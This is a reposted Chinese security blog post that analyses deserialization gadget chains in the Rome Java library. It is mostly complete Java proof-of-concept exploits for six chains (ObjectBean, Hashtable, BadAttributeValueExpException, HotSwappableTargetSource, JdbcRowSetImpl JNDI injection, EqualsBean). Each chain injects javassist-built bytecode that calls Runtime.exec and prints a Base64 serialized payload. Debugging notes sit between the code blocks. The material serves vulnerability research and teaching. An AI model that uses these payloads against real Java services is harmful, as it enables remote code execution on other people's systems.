1. Toy模板网首页
  2. > Toy博客

Rome反序列化链分析

8月前 作者：F12~ 分类：Toy博客 阅读(98) 违法举报

这篇具有很好参考价值的文章主要介绍了Rome反序列化链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

环境搭建

<dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>
  </dependencies>

ObjectBean链

先看看调用栈：

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * EqualsBean.beanHashCode()
 * EqualsBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

先给出poc，然后一步步调试分析

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
        // 序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        // 反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
        String s = new String(bytes);
        System.out.println(s);
        System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");
        setFieldValue(objectBean, "_cloneableBean",null);
        setFieldValue(objectBean,"_toStringBean", null);
        ByteArrayOutputStream bos = unSer(hashMap);
        Base64Encode(bos);
    }
}

在readObject处打个断点开始调试
Rome反序列化链分析
进入HashMap的readObject
Rome反序列化链分析
跟进hash方法
Rome反序列化链分析
跟进hashCode方法
Rome反序列化链分析
来到ObjectBean的hashCode方法，_equalsBean是EqualsBean的实例对象，跟进它的beanHashCode方法
Rome反序列化链分析
_obj是ToStringBean的实例对象，跟进它的toString方法
Rome反序列化链分析
进入另一个有参方法toString
Rome反序列化链分析
this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors，跟进
Rome反序列化链分析
这里就很怪了，看其它博主的调试文章说是像是fastjson的任意get，set方法调用，在hashMap进行put时会进入getPDs方法，但我经过实际调试确是没法进入这个方法，我跟进的是进入invoke，_obj是我们的TemplatesImpl的实例对象Rome反序列化链分析
进入invoke后，往后会调用到NativeMethodAccessorImpl的invoke方法，这里的method是Templates的getOutputProperties方法，var1是我们的TemplatesImpl对象
Rome反序列化链分析
进入invoke0，就会调用TemplatesImpl的getOutputProperties方法，但是为什么不会弹计算器，这是一个谜，到反序列化的时候，追踪到调用toString的时候才会触发，有师傅知道为什么，麻烦在评论区告诉一下wuwuwu

HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化，因为最终目的始终都是调用hashcode函数，而HashTbale中刚好调用了hashcode，因此仍然可以触发整套流程

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class HashTable {
    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
        // 序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        // 反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
        String s = new String(bytes);
        System.out.println(s);
        System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashTable = new Hashtable();
        hashTable.put(objectBean, "x");
        setFieldValue(objectBean, "_cloneableBean",null);
        setFieldValue(objectBean,"_toStringBean", null);
        ByteArrayOutputStream bos = unSer(hashTable);
        Base64Encode(bos);
    }
}

链子流程跟上一个一样

BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的，他的readObject方法中有toString，因此可以直接连着Rmoe链的ToStringBean，这样也是可以触发的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map;

public class BadAVEE {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
        // 序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        // 反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
        String s = new String(bytes);
        System.out.println(s);
        System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException, "val", toStringBean);
        ByteArrayOutputStream bos = unSer(badAttributeValueExpException);
        Base64Encode(bos);
    }
}

因为不需要hashCode了，所以hashMap和objectbean也就不需要了，直接上ToStringBean，调试流程就不写了，因为没啥太大改动

HotSwappableTargetSource链

这个类有equals方法，可以触发Xstring的toString，那么也就可以接上Rome的后半段，这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class HotSwapp {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
        // 序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        // 反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
        String s = new String(bytes);
        System.out.println(s);
        System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);
        HashMap<Object, Object> hashMap = new HashMap();
        hashMap.put(h2, h2);
        hashMap.put(h1, h1);
        ByteArrayOutputStream bos = unSer(hashMap);
        Base64Encode(bos);
    }
}

HashMap中的putval会调用equals方法，触发HotSwappableTargetSource的equals方法Rome反序列化链分析
Rome反序列化链分析
左边的target是put进去的h1，右边的target是put进去的h2，这样就会调用XString的equals方法，触发toStringBean的toString方法，链子闭合

JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法，那其实也就和TempaltesImpl链思路是一样的，只是在不能使用TempaltesImpl时可以进行替换，这个类在Fastjson中很常见，用于JDNI注入，那么这样也是一样的进行JNDI注入，所以得注意jdk版本，不能高于jdk191，启动一个恶意LDAP服务

package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.HashMap;

public class Jdbc {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
        // 序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        // 反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
        String s = new String(bytes);
        System.out.println(s);
        System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:1099/evil";
        jdbcRowSet.setDataSourceName(url);
        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(equalsBean,"xxxxx");
        ByteArrayOutputStream bos = unSer(map);
        Base64Encode(bos);
    }
}

EqualsBean链

通过HashSet来触发EqualsBean的equals，调用到getter，任意get方法调用触发TemplatesImpl文章来源地址https://www.toymoban.com/news/detail-845768.html

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

/**
 * Hello world!
 *
 */
public class App 
{
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static void main( String[] args )
    {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("i");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            EqualsBean bean = new EqualsBean(String.class, "s");

            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy", bean);
            map1.put("zZ", templatesImpl);
            map2.put("zZ", bean);
            map2.put("yy", templatesImpl);
            HashSet table = new HashSet();
            table.add(map1);
            table.add(map2);
            //table.put(map1, "1");
            //table.put(map2, "2");
            setFieldValue(bean, "_beanClass", Templates.class);
            setFieldValue(bean, "_obj", templatesImpl);
            unSerial(table);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(hashMap);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }
    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
}

到了这里，关于Rome反序列化链分析的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处： 如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：
领支付宝红包 赞助服务器费用

相关文章

  • Hessian反序列化分析

    Hessian反序列化分析

    RPC全称为 Remote Procedure Call Protocol （远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便 RPC协议的一次远程通信过程如下: 客户端发起请求，并按照RPC协议格式填充信

    2024年04月11日
    浏览(56)
  • Shiro反序列化分析

    Shiro反序列化分析

    Shiro，一个流行的web框架，养活了一大批web狗，现在来对它分析分析。Shiro的gadget是CB链，其实是CC4改过来的，因为Shiro框架是自带 Commoncollections 的，除此之外还带了一个包叫做 CommonBeanUtils ，主要利用类就在这个包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 编辑shiro/s

    2024年03月24日
    浏览(44)
  • JDBC反序列化分析

    JDBC反序列化分析

    找两个序列化后的bin文件，进行对比，可以发现前两个字节是固定的 AC , ED ，变十进制就是 -84 , -19 记住这两个数，后面分析的时候会用到 触发点在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象，

    2024年04月08日
    浏览(63)
  • RMI反序列化分析

    RMI反序列化分析

    RMI全程Remote Method Invocation （远程方法引用），RMI有客户端和服务端，还有一个注册中心，在java中客户端可以通过RMI调用服务端的方法，流程图如下： 服务端创建RMI后会在RMI Registry（注册中心）注册，之后客户端都是从注册中心调用方法，RMI分为三个主体部分： Client-客户端

    2024年03月26日
    浏览(36)
  • SnakeYaml反序列化分析

    SnakeYaml反序列化分析

    SnakeYaml是Java中解析yaml的库，而yaml是一种人类可读的数据序列化语言，通常用于编写配置文件等。yaml真是到哪都有啊。 SPI机制就是，服务端提供接口类和寻找服务的功能，客户端用户这边根据服务端提供的接口类来定义具体的实现类，然后服务端会在加载该实现类的时候去

    2024年04月22日
    浏览(36)
  • Groovy反序列化链分析

    Groovy反序列化链分析

    Groovy 是一种基于 JVM 的开发语言，具有类似于 Python，Ruby，Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言，也可以用作脚本语言。groovy 编译之后生成 .class 文件，与 Java 编译生成的无异，因此可以在 JVM 上运行。 在项目中可以引用 Groovy 的相关包依赖，分为核心

    2024年04月13日
    浏览(29)
  • Kryo反序列化链分析

    Kryo反序列化链分析

    Kryo是一个快速序列化/反序列化工具，依赖于字节码生成机制(底层使用了ASM库)，因此在序列化速度上有一定的优势，但正因如此，其使用也只能限制在基于JVM的语言上。 Kryo序列化出的结果，是其自定义的，独有的一种格式。由于其序列化出的结果是二进制的，也即byte[]，因

    2024年04月14日
    浏览(31)
  • Resin反序列化链分析

    Resin反序列化链分析

    Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的，旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器，它和hessian在一个group里，所以有一定的联系 因为是JDNI，所以还是得注意下jdk版本，这里用jdk8u65 之前研究过Hessian反序列化

    2024年04月24日
    浏览(31)
  • XStream反序列化漏洞分析

    XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记，从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种，代理类为委托类提供消息预处理、消息转发、事后消息处理等功能，JAVA中代理分为三种角色：代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(45)
  • Spring反序列化JNDI分析

    Spring反序列化JNDI分析

    Spring框架的 JtaTransactionManager 类中重写了 readObject 方法，这个方法最终会调用到JNDI中的 lookup() 方法，关键是里面的参数可控，这就导致了攻击者可以利用JNDI注入中的lookup()参数注入，传入恶意URI地址指向攻击者的RMI注册表服务，以使受害者客户端加载绑定在攻击者RMI注册表服

    2024年04月08日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包，优惠每天领

二维码1

领取红包

二维码2

领红包